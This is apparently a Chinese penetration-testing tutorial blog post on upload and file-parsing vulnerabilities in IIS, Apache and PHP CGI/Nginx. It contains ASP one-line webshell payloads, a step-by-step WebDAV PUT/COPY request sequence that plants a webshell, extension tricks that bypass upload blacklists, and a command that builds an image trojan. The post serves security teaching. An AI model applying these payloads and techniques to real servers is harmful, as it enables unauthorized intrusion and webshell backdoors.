首页渗透测试 正文

上传漏洞之解析漏洞

2018-06-17 1660 0条评论

上传漏洞,我们为什么要上传?因为我们说过。在网站服务器上 肯定有一个Web容器,它里面装的就是Web应用程序 。某些脚本具有一定的执行和修改权限。这些权限可以说是服务器给客户端访问时提供的服务的同时提供的, 提供服务越多, 存在漏洞的几率就越大。

如果我们上传了某个具有对系统进行操作性权限的文件(一句话木马,大马,bat,dll等),那对于我们接下去的攻击提供了很大的方便。

上面这些我就不多说了 ,之前也讲过了。回归正题, 我们这篇要说的是:

解析漏洞

在这里我先说一个知识点吧,相信很多人都听说过:一句话木马

(PS:可能这篇结构有点乱~)

一句话木马(选自百度百科):

【渗透课程】第六篇-上传漏洞之解析漏洞 – Yuntest|在云端自由行走 - 专注免费与共享|网络技术|信息安全|渗透测试|教学资源

黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:

<%execute request(“value”)%>

其中value是值(俗称密码),你可以更改自己的值,前面的request就是获取这个值

<%eval request(“value”)%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)

当知道了数据库的URL,就可以利用中国菜刀进行连接得到Webshell,从而拥有读写网站目录的权限(除了部分限权网站,只是简说)。

(不知道数据库也可以,只要知道

<%eval request(“value”)%>

这个文件被插入到哪一个ASP文件里面就可以了)这就被称为一句话木马

想了解更多信息看这里

逻辑导航

文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,从而,黑客可以利用该漏洞实现非法文件的解析。

下面就列举早些年存在至今的解析漏洞:

(大家尽量理解概念)

一、IIS解析漏洞

1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析(如text.asp/1.txt.此处的txt是以ASP文件的影视运行的)

2.当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。

3.WebDav漏洞(对IIS写权限的利用,这个我们在之前学http请求的时候就说过的请求头和正文语句,这段好好看)

  • 第一步,通过OPTIONS探测服务器所支持的HTTP方法

请求:

OPTIONS / HTTP/1.1

Host:www.example.com

 

响应:

 

Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH

 

  • 第二步,通过PUT方法向服务器上传脚本文件

 

请求:

PUT /a.txt HTTP/1.1

Host:www.example.com

Content-Length:30

 

<%eval request(“chopper”)%>

 

第三步,通过Move或Copy方法改名

 

请求:

COPY /a.txt HTTP/1.1

Host:www.example.com

Destination:http://www.example.com/cmd.asp

 

第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件

 

请求:

DELETE /a.txt HTTP/1.1

Host:www.example.com

 

 

二、Apache解析漏洞

在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。

例 上传文件:

1.php.aa.bb

后缀名bb 不认识,向前解析

1.php.aa

后缀名aa 不认识 向前解析

1.php 最终解析结果为PHP文件

这种方法可以绕过基于黑名单的检查。(如网站限制,不允许上传后缀名为PHP的文件)

Apache认识的扩展名保存在安装目录下”/conf/mime.types”文件中。下图为本机的情况,文件在路径C:wampbinapacheApache2.2.21confmime.types

【渗透课程】第六篇-上传漏洞之解析漏洞 – Yuntest|在云端自由行走 - 专注免费与共享|网络技术|信息安全|渗透测试|教学资源

三、PHP CGI解析漏洞

在某些使用Nginx的网站中,

访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。

这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。

这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:wampbinphpphp5.3.10php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

【渗透课程】第六篇-上传漏洞之解析漏洞 – Yuntest|在云端自由行走 - 专注免费与共享|网络技术|信息安全|渗透测试|教学资源

附:


用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)


文章版权及转载声明

本文作者:符文浩 网址:http://blog.fuwenhao.com/post/98.html 发布于 2018-06-17
文章转载或复制请以超链接形式并注明出处。

发表评论

快捷回复:

评论列表 (暂无评论,1660人围观)参与讨论

还没有评论,来说两句吧...

取消
微信二维码
微信二维码
支付宝二维码